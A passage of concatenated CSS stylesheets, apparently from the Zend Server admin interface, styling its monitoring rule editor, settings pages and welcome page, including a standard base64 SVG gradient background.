}

#monitor-off {
    background: #9a9a99;
    text-align: center;
    color: #fff;
    display: inline-block;
    padding: 0 8px;
    font-size: 11px;
    font-weight: bold;
    height: 18px;
    min-width: 60px;
    line-height: 18px;
    -moz-border-radius: 11px;
    -khtml-border-radius: 11px;
    -webkit-border-radius: 11px;
}

.rule-help {
    margin-left: 5px;
    background: url('/ZendServer/images/question-mark-icon-trans.png') top right no-repeat;
    height: 12px;
    width: 12px;
    display: inline-block;
    cursor: help;
}
@CHARSET "UTF-8";

.event_tracing_mode {
    color: #000;
}

.event_tracing_mode span {
    line-height: 20px;
}

.event_tracing_mode .change {
    margin-left: 5px;
    border-left: 1px solid black;
    padding-left: 7px;
}

.event_tracing_mode label {
    font-weight: bold;
}

#event_tracing_mode-box {
    width: 290px;
}

.trigger-severity-icon {
    display: inline-block;
    margin-right: 3px;
    width: 3px;
    height: 20px;
}

.threshold-wrapper div.triggers-count {
    margin-top: 0px;
    margin-right: 10px;
    margin-left: 10px;
}

.triggers-tooltip-content ul li {
    margin-top: 4px;
    clear: both;
}

.tooltip {
    display: none;
}

.triggers-tooltip-content {
    width: 160px;
    background-color: white;
    padding: 6px;
}

.triggers-tooltip-content .tooltip {
    border: 0;
}

.triggers-tooltip-content h4 {
    margin-bottom: 10px;
}

#rule_conditions_container input {
    width: 100%;
}

#rule_conditions_container {
    padding-right: 30px;
}

.zgrid .trigger-severity-icon {
    margin-top: 0px;
    margin-right: 3px;
}

#tableRow_Global .zgrid_ellipsis {
    padding-left: 24px;
}

#event_tracing_mode-indicator {
    margin-right: 83px;
    color: #2774A0;
}

.trace-tooltip .threshold-wrapper{
    text-align:left;
    margin: 5px;
}
.trace-tooltip {
    /*width: 180px; */
    
}
.treshold-tooltip .threshold-wrapper{
    text-align:left;
    margin:3px;
}
@CHARSET "UTF-8";

form fieldset {
    width: 600px;
}

.tab-section {
    border: 1px solid #DDD;
}


/* fix tabs */
nav#new-tabs-container {
    float: none;
    height: auto;
    position: relative;
    top: 1px;
    z-index: 10;
}

nav#new-tabs-container ul li.active {
    position: relative;
    top: 1px;
}

.settings-form-wrapper .settings-wrapper {
    padding-left: 40px;
}

.monitor-advanced-settings-link {
    float: right;
    margin: 20px;
}

.settings-form-wrapper .zform-label,
.settings-form-wrapper .zform-label label {
    width: 350px;
}
.ctLabel {
	margin-right: 5px;
    margin-left: 0px;
    line-height: 13px;
    float: left;
    font-size: 13px;
}

.standByInput {
    width: 45px;
    padding: 2px;
    margin-top: -5px;
    margin-right: 5px;
    height: 18px;
    text-align: center;
}

.ruleBasedFieldset {
    width: auto;
    border: 0;
    position: static;
    background: inherit;
    vertical-align: initial;
    margin: initial;
    padding: initial;
    margin-left: 20px;
}
@CHARSET "UTF-8";

#ldap-account_canonical_form {
    width: 186px;
}

#ldap-host {
    width: 102px;
}

.simple-modal-toast.message-box {
    clear: right;
    margin: 10px 10px 0 10px;
}

#encryption-selector label {
    display: inline-block;
}

table#users_list_table {
    width: 400px;
}

h3.users-list-table-header {
    background-image: url(/ZendServer/images/settings/Token-Zend-Server-icon.png);
}

table#users_list_table th {
    padding-left: 0;
}

/*table.tableDescContent tr td label {
	display: block;
}*/

#change_password_form_box {
	/*display: none;*/
    padding: 15px;
}

.simple-modal-header h3 {
    font-family: "Helvetica Neue",Helvetica,Arial,sans-serif;
    font-size: 12px;
    font-weight: normal;
    line-height: 14px;
}

#ChangePasswordForm input[type="password"] {
    width: 150px;
}

#ChangePasswordForm label {
    line-height: 22px;
	/*float: right;*/
}

div#ldap_properties_enable_box label {
    display: block;
}

.clear-content {
    margin: 25px;
}

.clear-content .content {
    margin: 12px;
}

.radio_select_option_holder h2 {
    margin: 10px 0;
}

.radio_select_option_holder h2 label {
    line-height: 20px;
    font-size: 12pt;
}

.radio_select_option_holder label,
.radio_select_option_holder label input {
    cursor: pointer;
}

.radio_select_option_holder label input {
    vertical-align: middle;
    margin-right: 3px;
}
/*.zend_form dd, .zend_form dt {
	margin-top: 10px;
}*/

dl.zend_form {
    margin: 4px 0 4px 0;
}

#queryCredentials .zend_form dd,
#queryCredentials .zend_form dt {
    margin-top: 4px;
}

/*.zend_form dd, .zend_form dt {
	margin-top: 10px;
}

.zend_form dd {
	margin-left: 40px;
}

.zend_form em {
	display: block;
	margin: 4px 0 0 2px;
}*/

.zend_form dd label input {
    margin-right: 3px;
}

.zend_form dt label {
    display: block;
    line-height: 20px;
}

fieldset {
    width: 500px;
    margin: 12px;
}

form#groups_mapping_form fieldset {
    margin-bottom: 10px;
}

div#submit_formlet {
    margin-top: 6px;
}

#authentication_source_ui_extended {
    overflow-y: auto;
    height: 300px;
}

/*.wizard {
	height: 420px;
}

.wizard fieldset.wizard-page.last-wizard-page .page-wrapper {
	height: 371px;
}

.wizard fieldset.wizard-page {
	width: 384px;
}
.wizard fieldset.wizard-page div.page-wrapper {
	width: 370px;
	height: inherit;
}

.wizard fieldset.page-wrapper, .wizard ul.side-legend {
	height: 400px;
}
*/
.radio_select_option_holder {
    padding-left: 3px;
}

#zend-monitor input[type="radio"] {
    margin-right: 3px;
}

.settings-wrapper {
    margin: 20px 15px;
    padding-top: 11px;
}

.settings-wrapper h2,
.settings-wrapper h3 {
    font-size: 18px;
    font-weight: normal;
    color: #43AFE0;
    padding-left: 16px;
    margin-bottom: 15px;
}

.settings-wrapper h3 {
    font-size: 14px;
    font-weight: bold;
    margin: 10px 0;
}

.settings-wrapper .settings-desc {
    width: 600px;
    margin: 10px 0;
    color: gray;
    margin-left: 45px;
    margin-bottom: 20px;
    margin-top: 15px;
}

.settings-wrapper > form,
.settings-wrapper > table {
    margin-left: 35px;
}

.settings-wrapper label {
    font-size: 12px;
    color: #000;
}

.settings-wrapper input {
    color: #000;
    font-weight: normal;
    font-size: 12px;
}

.settings-wrapper input.strategy-option-values {
    height: 20px;
    margin: 0 5px;
}

.settings-wrapper iframe {
    width: 600px;
    border: 0px;
    height: 65px;
    overflow: hidden;
}

.settings-wrapper td {
    padding-left: 0;
}

.settings-wrapper .zgrid tr.even td,
.settings-wrapper .zgrid tr.odd td {
    padding-left: 10px;
}

.settings-wrapper .zgrid td.no-padding {
    padding: 0 !important;
}

.settings-wrapper .settings-row-description td {
    padding-top: 0;
    color: gray;
    padding-bottom: 20px;
}

.settings-wrapper input[type="submit"].disabled,
.settings-wrapper input[type="submit"]:disabled {
    background: #bababa;
}

.settings-wrapper input[type="submit"] {
    border-radius: 2px;
    background: #43AFE0;
    border: 0px;
    padding: 5px 10px;
    color: #FFF;
}

.settings-wrapper input[type="submit"]:hover,
.settings-wrapper input[type="submit"]:active {
    background: #3893BD;
}

fieldset[disabled="disabled"] .settings-wrapper input[type="submit"]:hover,
fieldset[disabled="disabled"] .settings-wrapper input[type="submit"]:active {
    background: #BABABA;
}

.settings-wrapper .settings-error {
    display: inline-block;
    color: red;
    margin-left: 10px;
}

.settings-wrapper .settings-import-export .zend-form-table-description {
    margin: 10px 0;
}

[cat="zray"][page="settings"] .settings-wrapper tr td label {
    margin-left: 20px;
}

[cat="zray"][page="settings"] .settings-wrapper tr td label:first-of-type {
    margin-left: 0;
}

.settings-wrapper tr td input[type="radio"] {
    margin-right: 2px;
}

.settings-wrapper {
    background: transparent !important;
}

.settings-wrapper#general-settings {
    background: url("/ZendServer/images/settings/general-settings.png") left top no-repeat;
}

.settings-wrapper#devbar-settings {
    background: url("/ZendServer/images/settings/general-settings.png") left top no-repeat;
}

.settings-wrapper#devbar-granularity {
    background: url("/ZendServer/images/settings/general-settings.png") left top no-repeat;
}

.settings-wrapper#devbar-privacy-settings {
    background: url("/ZendServer/images/settings/general-settings.png") left top no-repeat;
}

.settings-wrapper#devbar-access-wrapper {
    background: url("/ZendServer/images/settings/general-settings.png") left top no-repeat;
}

.settings-wrapper#devbar-tokens-wrapper {
    background: url("/ZendServer/images/settings/Token-Zend-Server-icon.png") left top no-repeat;
}

.settings-wrapper#devbar-access {
    background: url("/ZendServer/images/settings/general-settings.png") left top no-repeat;
}

.settings-wrapper#notification-center-settings {
    background: url("/ZendServer/images/settings/notification-center.png") left top no-repeat;
}

.settings-wrapper#audit-trail-settings {
    background: url("/ZendServer/images/settings/audit-trail.png") left top no-repeat;
}

.settings-wrapper#mail-settings {
    background: url("/ZendServer/images/settings/mail-settings.png") left top no-repeat;
}

.settings-wrapper#test-settings {
    background: url("/ZendServer/images/settings/mail-settings.png") left top no-repeat;
}

.settings-wrapper#export-import-settings {
    background: url("/ZendServer/images/settings/export-import.png") left top no-repeat;
}

.settings-wrapper#webserver-errors-settings {
    background: url("/ZendServer/images/settings/error-reporting.png") left top no-repeat;
}

.settings-wrapper#webserver-graceful-restart {
    background: url("/ZendServer/images/settings/sync-restar-icon.png") left top no-repeat;
}

.settings-wrapper#restart-settings {
    background: url("/ZendServer/images/settings/restart-strategy.png") left top no-repeat;
}

#section-server-mode .settings-wrapper {
    background: url("/ZendServer/images/settings/general-settings.png") left top no-repeat;
}

.settings-wrapper#license-settings {
    padding: 0;
    margin-left: 40px;
}

.settings-wrapper#license-settings tr td label {
    width: 100px;
    display: inline-block;
    vertical-align: top;
}

#license-status-box {
    display: inline-block
}

#license-status-box .toast {
    box-shadow: none;
    background-color: transparent;
    background-position: top left;
    border: 0px;
    padding: 0 0 0 31px;
    position: relative;
    display: inline-block;
    left: 0;
    top: 0;
    margin: 0;
    z-index: 3;
}

#section-devbar-access code {
    white-space: nowrap;
    line-height: 30px;
}

#devbar-token-remove {
    margin-top: 7px;
}

#devbar-tokens-information {
    width: 600px;
}

.accessTokenSecurityNotice {
    margin-bottom: 35px;
}

.accessTokenDetails ul {
    margin-top: 0;
    margin-bottom: 0;
}

.accessTokenDetails h3 {
    margin-top: 12px;
    margin-bottom: 4px;
}

input.required {
    border: 1px solid darksalmon;
}

.limited .details {
    font-weight: bold;
}

.settings-wrapper .restart-server-note {
    margin-top: 0;
}

.settings-wrapper .global-restart-server-note {
    margin-top: 15px;
}

.zend-form-table tr td:first-child {
    width: 260px;
}

#selective-access-box .zend-form-table tr td:first-child {
    width: 200px;
}

#selective-access-box #selectiveOperations .zend-form-table tr td:first-child {
    width: auto; /* https://zendtech.atlassian.net/browse/ZSRV-17552 */
}

#selective-access-box .zend-form-table-description {
    margin-left: 18px;
}

#selective-access-box .settings-row-description td {
    padding-top: 0;
}

/* overwrite side-bar defaults */
#files_list li:hover a,
#files_list li.selected a {
    font-weight: normal;
}

.content_box, 
#files_list,
.content_box h2.single-server {
    background: #E3E3E3;
}

#log_display {
	/* overflow: auto; */
}

.log_display {
    margin: 0 0 0 15px;
}

/* end overwrite */

.settings-section:not([ng-show]), {
    display: none;
}

#content_container {
    position: relative;
}

div.DG-spinner-container, div.DG-spinner-wrapper {
    float: left;
    margin-right: 4px;
}

div.DG-spinner-wrapper label {
    clear: both;
    display: block;
}

.DG-spinner-container {
    width: 46px !important;
}

label input {
    vertical-align: -2px;
}

.side-bar {
    position: absolute;
    top: 0;
    left: 0;
}

.progressExtraData pre {
    margin: 0;
}

ul.list-with-descriptions li span {
    display: block;
    margin-top: 3px;
    margin-bottom: 0;
    margin-left: 18px;
}

ul.list-with-descriptions li {
    margin-top: 20px;
    margin-bottom: 8px;
}

ul.list-with-descriptions li:FIRST-CHILD {
    margin-top: 0;
    margin-bottom: 8px;
}

#devbar-tokens-table-wrapper .content {
    border-bottom: 1px #C6DEE8 solid;
    border-top: 1px #C6DEE8 solid;
    border-right: 0;
    border-left: 0;
    padding-left: 14px;
    padding-right: 14px;
}

#devbar-tokens-table-wrapper {
    border: 0;
}

#devbar-tokens-table_table {
    margin-bottom: 0;
}

.auditDetails .content {
    padding: 10px 0 0 10px;
}

.mini-frame {
    width: 650px;
}

/* PRIVACY PAGE STYLES */
#data-masking-configuration {
	margin-top: 50px;
}

#data-masking-configuration-curtain {
	position: absolute;
	background: #FFF;
	opacity: 0.7;
	z-index: 11;
}
.side-notice-box{
margin-left: -30px;
font-size: 13px;
}

h3 .side-notice-box{
    margin-left: -29px;
    margin-top: -2px;
}
.hide-element{
    display: none;
}
@CHARSET "ISO-8859-1";

#rule-general-details {
    background: #e1eff2;
    height: 130px;
    border-top: 1px solid #c0cacc;
    border-bottom: 1px solid #c0cacc;
    padding: 10px;
}

#edit-rule .general-details-top {
    height: 100px;
}

#edit-rule .general-details-top ul li {
    height: 53px;
}

#edit-rule .general-details-top ul li:first-child {
    width: 350px;
}

#edit-rule .general-details-top select {
    width: 180px;
    height: 24px;
    margin: 1px 0;
}

#edit-rule .general-details-top input[type="text"] {
    width: 170px;
}

#rule_conditions_container input {
    width: 60%;
}

#rule_conditions_container .grid-action-bar {
    padding-right: 30px;
}

#edit-rule h3 {
    color: #93A3AB;
    font-size: 12px;
    font-weight: normal;
    font-style: italic;
    overflow: hidden;
    white-space: nowrap;
    margin-left: 10px;
    margin-top: 5px;
    margin-bottom: 9px;
    height: 14px;
}

#edit-rule .general-details-top ul {
    padding: 0;
    margin: 5px 0;
}

.flat-list li {
    float: left;
}

.rule-conditions h3 {
    margin-left: 20px;
}

.trigger_details_content label {
    display: block;
    float: left;
    line-height: 26px;
}

.trigger_details_content span.description {
    display: block;
    line-height: 26px;
    margin-left: 103px;
    font-style: italic;
}

.trigger_details_content input {
    display: block;
    margin-left: 100px;
    width: 400px;
}

.monitor-trigger-container {
    z-index: 5;
    clear: both;
    float: left;
    margin: 7px 10px;
    width: 713px;
    height: 129px;
    border: 0px;
	/* padding-left: 7px; */
	/*
	-moz-border-radius: 4px 4px 4px 4px;  
    -khtml-border-radius: 4px 4px 4px 4px;  
    -webkit-border-radius: 4px 4px 4px 4px;
    */
}

.monitor-box-right {
    position: relative;
    float: left;
    background: #e4e4e4;
    width: 683px;
    height: 133px;
    -moz-border-radius: 0px 6px 6px 0px;
    -khtml-border-radius: 0px 6px 6px 0px;
    -webkit-border-radius: 0px 6px 6px 0px;
}

.monitor-box-left {
    width: 30px;
    height: 133px;
    float: left;
    -moz-border-radius: 6px 0px 0px 6px;
    -khtml-border-radius: 6px 0px 0px 6px;
    -webkit-border-radius: 6px 0px 0px 6px;
}

.monitor-trigger-container.critical .monitor-box-left {
    background: #ed4e29;
}

.monitor-trigger-container.warning .monitor-box-left {
    background: #fcb31f;
}

.monitor-trigger-container.notice .monitor-box-left {
    background: #57b5e4;
}

.monitor-trigger-content {
    padding: 0;
    background: #fff;
	/* min-height: 100px; */
    position: relative;
    -moz-border-radius: 0px 3px 3px 0px;
    -khtml-border-radius: 0px 3px 3px 0px;
    -webkit-border-radius: 0px 3px 3px 0px;
}


#edit-rule .monitor-trigger-content table {
    margin: 5px 0;
}

#edit-rule .monitor-trigger-content table tr td {
    height: 24px;
    line-height: 24px;
    padding: 0;
    font-size: 12px;
    display: inline;
}

#edit-rule .monitor-trigger-content table tr td input[type="text"],
#edit-rule .monitor-trigger-content table tr td input[type="number"]{
    width: 55px;
    margin-left: 6px;
    padding-left: -1px;
}

#edit-rule .monitor-trigger-content label {
    margin-right: 5px;
    margin-left: 0px;
    line-height: 13px;
    float: left;
    font-size: 12px;
}

#edit-rule .monitor-trigger-content h2 {
    z-index: 12;
    position: absolute;
    top: 10px;
    left: 12px;
    font-size: 17px;
    text-transform: capitalize;
}

#edit-rule > table {
    list-style-type: none;
}

#edit-rule > table tr td {
    padding: 0;
    margin: 0;
}

#edit-rule #all_funcs_table {
    margin: 0;
    padding: 0;
}

#edit-rule #all_funcs_table td {
    padding: 0 10px;
    line-height: 23px;
    border-left: 0;
    border-right: 0;
}

#all_funcs_table .closeChar {
    color: #4191b5;
}

#addFuncs {
    width: 265px;
}

#add-new-func-btn {
    background: #e1e1e1;
    border-color: #d9d9d9;
    -moz-border-radius: 0px;
    -khtml-border-radius: 0px;
    -webkit-border-radius: 0px;
    border-radius: 0px;
}

#functions-list-container {
    margin: 5px 0px;
    border: 1px solid #D2D6D7;
    height: 407px;
}

#all_funcs_table_wrapper {
    height: 357px;
    overflow: auto;
}

#all_funcs_top_wrapper {
    background: #eeeeee;
    padding: 10px;
}

.rule-help {
    margin-left: 5px;
    background: url('/ZendServer/images/question-mark-icon-trans.png') top right no-repeat;
    height: 12px;
    width: 12px;
    display: inline-block;
    cursor: help;
}

.general-details-top table tr td:first-child {
    height: 28px;
}

.monitor-trigger-disable {
    float: right;
    cursor: pointer;
}

.monitor-trigger-disable-screen,
.standby-container-disable-screen {
    width: 100%;
    height: 100%;
    background: #E4E4E4;
    opacity: 0.7;
    position: absolute;
    left: 0;
    z-index: 10;
}

.monitor-trigger-disable-screen {
    top: 0;
}

.standby-container-disable-screen {
    bottom: 0;
    height: 50px;
}

.floating-tip-wrapper {
    z-index: 9999 !important;
}

#wrappers-container {
	/*
	-o-transition: all .7s;
	-webkit-transition: all .7s;
	-moz-transition: all .7s;
	transition: all .7s;
	*/
}

.monitor-box-main-content {
    float: left;
    width: 30%;
    padding: 30px 13px 0 13px;
}

.standby-container {
    position: relative;
    float: left;
    width: 62%;
    padding-left: 15px;
    margin-top: 35px;
    height: 80px;
    border-left: 1px solid #c0c0c0;
    line-height: 36px;
	/* margin-left: -11px; */
	/* margin-left: -343px; */
	/*
	-o-transition: all .7s;
	-webkit-transition: all .7s;
	-moz-transition: all .7s;
	transition: all .7s;
	*/
}

.standby-container input[type="text"], 
.standby-container input[type="number"] {
    width: 45px;
    padding: 2px;
    margin-top: -5px;
    margin-right: 5px;
    height: 18px;
    text-align: center;
}

.standby-container .description {
    color: gray;
    font-style: italic;
    clear: both;
}

.monitor-box-right input[type="checkbox"],
.monitor-box-right input[type="radio"] {
    clear: both;
    float: left;
    display: block;
    margin: 0 5px 6px 0;
}

.monitor-box-right input[type="radio"] {
    height: 14px;
}

.enable-disable-checkbox {
    margin: 9px;
}

.rule-actions {
    width: 100px;
}

[cat="monitoring"][page="event-rules"] .edit-event-top-buttons {
    display: none;
}

@media only screen and (max-width : 1450px) {
    [cat="monitoring"][page="event-rules"] .edit-event-top-buttons {
        display: block;
    }
}

@media only screen and (max-width : 1300px) {
    [cat="monitoring"][page="event-rules"] .edit-event-top-buttons {
        margin-top: 50px;
    }
}

[cat="getting-started"] div#main-container {
    padding-bottom: 0;
}

#welcome-page {
    margin-left: -10px;
    margin-right: -20px;
    margin-top: 20px;
}

#welcome-page .font-md {
    font-size: 12px;
}

#welcome-page .btn {
    display: inline-block;
    padding: 5px 30px 5px 10px;
    position: relative;
}

body:not(.deployment-not-supported) #welcome-page .black-btn:hover {
	opacity:1;
}
body:not(.deployment-not-supported) #welcome-page .black-btn{
	opacity:0.8;
	transition: all 0.5s;
}
#welcome-page .black-btn {
	text-decoration:none;
	background: #f39c2b;
	color: #fff;
	border-radius: 20px;
	vertical-align: middle;
	margin-right: 50px;
}

#welcome-page .btn-deploy::before {
    content: " ";
    width: 0;
    height: 0;
    border-top: 7px solid transparent;
    border-bottom: 7px solid transparent;
    border-left: 10px solid #facd92;
    position: absolute;
    right: 8px;
    top: 7px;
}

#welcome-page .btn-deploy img {
    vertical-align: middle;
    margin-right: 5px;
}
/* SLIDESHOWS */
#welcome-page section#welcome_slideshow {
    /* padding-top: 35px; */
}

#welcome-page section#welcome_slideshow .container [slide]>div {
    display: inline-block;
    vertical-align: top;
    position: relative;
}
/* 		SLIDE 1 */
#welcome-page section#welcome_slideshow [slide="1"] .part-a {
    width: 60%;
}

#welcome-page section#welcome_slideshow [slide="1"] .part-a h1,
#welcome-page #welcome-text {
    font-size: 36px;
    color: rgb(36,116,155);
    font-weight: normal;
    text-transform: uppercase;
    margin-top: 20px;
}

#welcome-page section#welcome_slideshow [slide="1"] .part-a h2 {
    font-size: 25px;
    font-weight: normal;
    color: rgb(72,170,200);
    margin: 0 0 10px;
    padding: 0;
}

#welcome-page section#welcome_slideshow [slide="1"] .part-a .getting-started-summary {
    width: 485px;
    margin: 0;
}

#welcome-page section#welcome_slideshow [slide="1"] .part-a #welcome-version {
    font-size: 11px;
    color: rgb(172,168,168);
    margin-bottom: 20px;
}

#welcome-page section#welcome_slideshow [slide="1"] .part-a #apps-logos {
    margin-top: 15px;
}

#welcome-page section#welcome_slideshow [slide="1"] .part-a h3#deploy-apps-title i::before {
    font-size: 18px;
    color: rgb(36,116,155);
    line-height: 17px;
    padding-left: 0;
}

#welcome-page section#welcome_slideshow [slide="1"] .part-a h3#deploy-apps-title {
    font-size: 12px;
    color: rgb(36,116,155);
    margin-bottom: 5px;
}

#welcome-page section#welcome_slideshow [slide="1"] .part-b {
    text-align: center;
    width: 40%;
}

#welcome-page section#welcome_slideshow [slide="1"] .part-b #intro-zs-pc.video-box::before {
    margin-top: -55px;
    background-size: 55px;
}

#welcome-page section#welcome_slideshow [slide="1"] .part-b #intro-zs-pc img {
    width: 100%;
    max-width: 325px;
    display: block;
}
/* 		EOF SLIDE 1 */
/*	EOF SLIDESHOWS */
/*	BLUE */
#welcome-page section#welcome_cd .container>* {
    display: inline-block;
    vertical-align: middle;
}

#welcome-page section#welcome_cd #cd-pc {
    display: inline-block;
    z-index: 2;
    margin: 15px;
}

#welcome-page section#welcome_cd #cd-pc::before {
    top: 50px;
    background-size: 35px;
}

#welcome-page section#welcome_cd .cd {
    width: 700px;
    margin-right: 20px;
    /* margin-top: -20px; */
}

#welcome-page section#welcome_cd .cd h3 {
}

#welcome-page section#welcome_cd nav {
    margin-left: 70px;
    padding: 5px;
}

#welcome-page section#welcome_cd nav a {
    display: block;
    color: #444;
    background: #ddd;
    padding: 2px 20px 2px 2px;
    margin: 7px;
    font-size: 12px;
    border-radius: 50px;
}

#welcome-page section#welcome_cd nav a i::before {
    top: 8px;
    left: 10px;
    font-size: 14px;
    color: #444;
}

#welcome-page section#welcome_blue {
    background: #49a8c6;
    margin-top: 35px;
}
/*	EOF BLUE */
/* WHAT'S NEW? */
#welcome-page section#welcome_whats-new{
	padding-top: 40px;
	margin-bottom: 15px;
}
#welcome-page section#welcome_whats-new h2{
	font-size: 30px;
	font-weight: normal;
	margin-bottom:20px;
}
#welcome-page .whats-new-center {
	width: 1150px;
	margin: 0 auto;	
}
#welcome-page section#welcome_whats-new .whats-new-box{
	background: rgb(245,245,245);
	border: 1px solid rgb(178,178,178);
}
#welcome-page section#welcome_whats-new  .whats-new-box>nav{
	width:300px;
	border-right: 1px solid rgb(178,178,178);
	min-height: 403px;
}
#welcome-page section#welcome_whats-new .whats-new-box>nav a i.glyphicons::before{
	font-size: 10px;
	color: #888;
	top: 17px;
	left: 16px;
}
#welcome-page section#welcome_whats-new .whats-new-box>* {
	display: inline-block;
	vertical-align: top;
}
#welcome-page section#welcome_whats-new .whats-new-box h3,
#welcome-page section#welcome_cd .cd h3{
	color: #48a9c5;
	font-size: 20px;
	font-weight: normal;
}
#welcome-page section#welcome_whats-new .whats-new-box .welcome-content-inner{
	position:absolute;
	top:0;
	left:0;
	bottom: 0;
	/*transition:opacity 0.5s;*/
}
#welcome-page section#welcome_whats-new .whats-new-box .content{
	position:relative;
}
#welcome-page section#welcome_whats-new .whats-new-box .content>div{
	padding: 15px 25px;
	line-height: 20px;
}
/* PERFORMANCE */
#welcome-page section#welcome_whats-new .whats-new-box #welcome-performance{
	background: url(/ZendServer/images/welcome/gears.png) no-repeat center;
}
#welcome-page section#welcome_whats-new .whats-new-box .content .welcome-content-links .welcome-content-screen {
    margin-right: 15px;
    text-align: center;
}
/* EOF PERFORMANCE */
#welcome-devbar img.devbar-preview {
    position: absolute;
    bottom: 0;
    left: 0;
    right: 0;
    margin-bottom: -59px;
    width: 100%;
}
#welcome-page section#welcome_whats-new .whats-new-box .welcome-content-links .video-box-desc {
	text-align: center;
}
#welcome-page section#welcome_whats-new .whats-new-box .welcome-content-links nav a{
	display:block;
	line-height: 25px;
}
#welcome-page section#welcome_whats-new .whats-new-box .welcome-content-screen,
#welcome-page section#welcome_whats-new .whats-new-box .dinline{
	display:inline-block;
	vertical-align: top;
}
#welcome-page section#welcome_whats-new .whats-new-box .content a{
	color: #2774a0;
}
#welcome-page section#welcome_whats-new .whats-new-box .content{
	position:relative;
	height: 403px;
	display: inline-block;
}
#welcome-page section#welcome_whats-new .whats-new-box .content::before{
	position:absolute;
	left:0;right:0;
	bottom:0;
	height:15px;
	/* background:#48a9c5; */
	content:" "
}
#welcome-page section#welcome_whats-new .whats-new-box>nav a{
	display:block;
	color: #444;
	padding: 9px;
	border-top: 1px solid #fff;
	border-bottom: 1px solid #D1D1D1;
}
#welcome-page section#welcome_whats-new .whats-new-box>nav a:last-child{
	/* border-bottom: 0; */
}
#welcome-page section#welcome_whats-new .whats-new-box>nav a:hover i::before,
#welcome-page section#welcome_whats-new .whats-new-box>nav a.active i::before{
	color:rgb(39,116,162);
}
#welcome-page section#welcome_whats-new .whats-new-box>nav a:hover,
#welcome-page section#welcome_whats-new .whats-new-box>nav a.active{
		color:rgb(39,116,162);
	text-decoration:none;
	background: #f5f5f5;
background: url(data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiA/Pgo8c3ZnIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwJSIgdmlld0JveD0iMCAwIDEgMSIgcHJlc2VydmVBc3BlY3RSYXRpbz0ibm9uZSI+CiAgPGxpbmVhckdyYWRpZW50IGlkPSJncmFkLXVjZ2ctZ2VuZXJhdGVkIiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSIgeDE9IjAlIiB5MT0iMCUiIHgyPSIwJSIgeTI9IjEwMCUiPgogICAgPHN0b3Agb2Zmc2V0PSIwJSIgc3RvcC1jb2xvcj0iI2Y1ZjVmNSIgc3RvcC1vcGFjaXR5PSIxIi8+CiAgICA8c3RvcCBvZmZzZXQ9IjEwMCUiIHN0b3AtY29sb3I9IiNlNmViZWUiIHN0b3Atb3BhY2l0eT0iMSIvPgogIDwvbGluZWFyR3JhZGllbnQ+CiAgPHJlY3QgeD0iMCIgeT0iMCIgd2lkdGg9IjEiIGhlaWdodD0iMSIgZmlsbD0idXJsKCNncmFkLXVjZ2ctZ2VuZXJhdGVkKSIgLz4KPC9zdmc+);
background: -moz-linear-gradient(top,  #f5f5f5 0%, #e6ebee 100%);
background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#f5f5f5), color-stop(100%,#e6ebee));
background: -webkit-linear-gradient(top,  #f5f5f5 0%,#e6ebee 100%);
background: -o-linear-gradient(top,  #f5f5f5 0%,#e6ebee 100%);
background: -ms-linear-gradient(top,  #f5f5f5 0%,#e6ebee 100%);
background: linear-gradient(to bottom,  #f5f5f5 0%,#e6ebee 100%);
filter: "progid:DXImageTransform.Microsoft.gradient( startColorstr='#f5f5f5', endColorstr='#e6ebee',GradientType=0 )";

}
#welcome-page section#welcome_whats-new .whats-new-box .content{
	width:850px;
}
#welcome-page section#welcome_whats-new .display-checkbox{
	margin-top:15px;
}
/*	EOF WHAT'S NEW? */
/*	FOOTER */
#welcome-page footer {
    background: #3b3b3b;
    padding: 15px 0;
}

#welcome-page footer h2 {
    color: #9B9B9B;
    font-size: 16px;
    font-weight: normal;
    margin-right: 30px;
}

#welcome-page footer .container>* {
    display: inline-block;
    vertical-align: middle;
}

#welcome-page footer nav a {
    background: #585858;
    padding: 3px 21px 5px 5px;
    color: #48A9C5;
    margin-right: 15px;
    font-size: 14px;
    -moz-border-radius: 4px;
    -webkit-border-radius: 4px;
    -khtml-border-radius: 4px;
    border-radius: 4px;
}

#welcome-page footer nav a i::before {
    top: 5px;
    font-size: 15px;
    left: 11px;
    color: #48A9C5;
}

#welcome-page footer nav a:hover {
    background: #48A9C5;
    color: #fff;
    text-decoration: none;
}

#welcome-page footer nav a:hover i::before {
    color: #fff;
}
/*	EOF FOOTER */
#welcome-page .container {
    width: 1200px;
    margin: 0 auto;
    box-sizing: border-box;
    padding: 10px 0;
}

#welcome-page .video-box {
    position: relative;
    display: inline-block;
    text-align: center;
    cursor: pointer;
}

#welcome-page .video-box:hover::before {
    opacity: 1;
}

#welcome-page .video-box::before {
    -webkit-transition: all 0.5s;
    opacity: 0.5;
    content: " ";
    background: url(/ZendServer/images/welcome/play-btn.png) no-repeat center;
    position: absolute;
    top: 50%;
    left: 50%;
    margin-left: -29px;
    margin-top: -29px;
    width: 58px;
    height: 58px;
    z-index: 1;
}

#welcome-page .video-box.video-box-tiny {
    width: 95px;
    height: 95px;
    margin: 0;
}

#welcome-page .video-box.video-box-tiny img {
    width: 89px;
    box-shadow: 0 0 10px rgba(0, 0, 0, 0.10);
    border: 3px solid #FFF;
    border-radius: 50%;
    height: 89px;
}

#welcome-page .video-box.video-box-tiny::before {
    background-size: 34px;
}

#welcome-page .video-box.video-box-small {
    width: 151px;
    height: 151px;
    margin: 0;
}

#welcome-page .video-box.video-box-small img {
    width: 145px;
    box-shadow: 0 0 10px rgba(0, 0, 0, 0.10);
    border: 3px solid #FFF;
    border-radius: 50%;
    height: 145px;
}

#welcome-page .video-box.video-box-small::before {
    background-size: 44px;
}

#welcome-page .welcome-content-screen.welcome-content-screen-tiny {
    font-size: 10px;
}

#supportSearchWrapper select {
    border: 0;
    padding: 0;
}

#supportSearchWrapper .searchBox {
    margin: 0;
}

#welcome-page .text-wrapper {
    height: 200px;
}
body:not(.deployment-not-supported) #apps-logos .logos a:hover {
	opacity:1;
}
body:not(.deployment-not-supported) #apps-logos .logos a {
	opacity: 0.8;
	transition: all 0.3s;
}
#apps-logos .logos a {
    margin-right: 10px;
    border-radius: 50%;
    width: 40px;
    display: inline-block;
    overflow: hidden;
    box-shadow: 0 0 10px rgba(0, 0, 0, 0.10);
    border: 3px solid #FFF;
    height: 40px;
    position: relative;
}

#apps-logos .logos a img {
    width: 100%;
    position: absolute;
    left: 50%;
